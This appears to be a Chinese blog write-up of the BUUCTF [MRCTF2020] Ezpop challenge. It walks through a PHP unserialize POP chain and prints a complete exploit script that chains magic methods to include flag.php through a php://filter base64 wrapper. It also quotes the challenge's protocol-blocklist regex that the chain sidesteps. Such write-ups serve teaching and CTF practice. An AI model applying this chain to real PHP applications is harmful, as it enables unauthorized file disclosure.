当前位置: 首页 > news >正文

BUUCTF [MRCTF2020]Ezpop

这道题对于刚接触到pop链的我直接把我整懵了,一边看着魔术方法一边分析

魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程,简单编程 (twle.cn)

代码解析

经过以上的分析我们可以理一下解题思路:接收参数反序列化之前先触发wakeup方法,进行一些过滤防止ssrf,我们可以将source赋值为实例对象触发tostring方法

如果我们将str赋值为Test类的一个对象,因为读取不到source触发get魔术方法

再将Test类中的p赋值为Modify类的一个对象,对象被当作函数使用直接触发invoke

方法,从而包含文件用伪协议读取出来

链子大概就是这样:show->__wakeup->__tostring->Test->__get->Modify->__invoke->append->include

因为var是protect属性无法在类外进行访问,所以我们直接进行复赋值

直接上我的脚本了,先将三个类实例化出三个对象a,b,c  通过这三个对象来访问类内部的变量

$c->p = $a将Test中的p赋值为一个Modify对象,用来触发invoke方法
$b->source = new Show()因为通过$b这个对象进行访问的,所以需要source赋值一个新的Show对象,用来触发__toString方法
$b->source->str = $c中$b->source已经成为一个新的Show实例对象,通过该对象访问str,为其赋值为$c(Test类的对象),又因为Test类中访问不到source资源从而触发get方法

最后进行url编码是因为protected属性的变量会输出一些不可见的字符,直接复制显示就是乱码无法构成成功攻击,进行一次url编码即可,浏览器会自动解码的

class Modifier {protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";public function append($value){include($value);	//包含flag.php}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;	//将Test实例化的对象给str,在Test中不存在source,此处调用__toString时触发__get方法}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;
//    public function __construct(){
//        $this->p = array();           没用,注释掉
//    }public function __get($key){$function = $this->p;return $function();	//触发__invoke方法}
}$a = new Modifier();
$b = new Show();
$c = new Test();
$c->p = $a;
$b->source = new Show();
$b->source->str = $c;
echo urlencode(serialize($b));

得到一串base64

解码得到flag

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • LLM 大语言模型显存消耗估计与计算
  • C语言 —— 函数
  • 如何在Linux上安装配置RabbitMQ消息队列
  • json的数据结构
  • 测试用例的设计方法
  • AOP面向切面编程和log4j的使用(Java版)
  • 多列传感器数据多项式拟合python脚本
  • 斯坦福UE4 C++课学习补充 14:UMG-优化血量条
  • spring常用注解有哪些
  • YOLOv5改进 | 注意力机制 | 二阶注意力网络来进行单图像超分辨率【附网盘完整代码】
  • 力扣SQL 最后一个能进入巴士的人 自连接
  • 【爱上C++】list用法详解、模拟实现
  • 放大电路总结
  • electron 网页TodoList工具打包成win桌面应用exe
  • lua 游戏架构 之 游戏 AI (九)ai_mgr Ai管理
  • JS中 map, filter, some, every, forEach, for in, for of 用法总结
  • 【翻译】babel对TC39装饰器草案的实现
  • Angular 响应式表单 基础例子
  • JavaScript 一些 DOM 的知识点
  • 翻译--Thinking in React
  • 可能是历史上最全的CC0版权可以免费商用的图片网站
  • 思考 CSS 架构
  • 微服务框架lagom
  • 写代码的正确姿势
  • PostgreSQL 快速给指定表每个字段创建索引 - 1
  • 阿里云IoT边缘计算助力企业零改造实现远程运维 ...
  • 策略 : 一文教你成为人工智能(AI)领域专家
  • 如何在招聘中考核.NET架构师
  • # 安徽锐锋科技IDMS系统简介
  • #define与typedef区别
  • #我与Java虚拟机的故事#连载18:JAVA成长之路
  • $var=htmlencode(“‘);alert(‘2“); 的个人理解
  • (2024)docker-compose实战 (8)部署LAMP项目(最终版)
  • (3)(3.2) MAVLink2数据包签名(安全)
  • (LNMP) How To Install Linux, nginx, MySQL, PHP
  • (差分)胡桃爱原石
  • (第一天)包装对象、作用域、创建对象
  • (二)springcloud实战之config配置中心
  • (附源码)ssm基于web技术的医务志愿者管理系统 毕业设计 100910
  • (汇总)os模块以及shutil模块对文件的操作
  • (篇九)MySQL常用内置函数
  • (已解决)Bootstrap精美弹出框模态框modal,实现js向modal传递数据
  • (转)linux下的时间函数使用
  • ..thread“main“ com.fasterxml.jackson.databind.JsonMappingException: Jackson version is too old 2.3.1
  • .NET “底层”异步编程模式——异步编程模型(Asynchronous Programming Model,APM)...
  • .NET/C# 在 64 位进程中读取 32 位进程重定向后的注册表
  • .sh文件怎么运行_创建优化的Go镜像文件以及踩过的坑
  • [.net 面向对象程序设计进阶] (19) 异步(Asynchronous) 使用异步创建快速响应和可伸缩性的应用程序...
  • [100天算法】-实现 strStr()(day 52)
  • [28期] lamp兄弟连28期学员手册,请大家务必看一下
  • [AIGC] SpringBoot的自动配置解析
  • [Android] Implementation vs API dependency
  • [CSS] - 修正IE6不支持position:fixed的bug
  • [EFI]Lenovo ThinkPad X280电脑 Hackintosh 黑苹果引导文件
  • [Foreman]解决Unable to find internal system admin account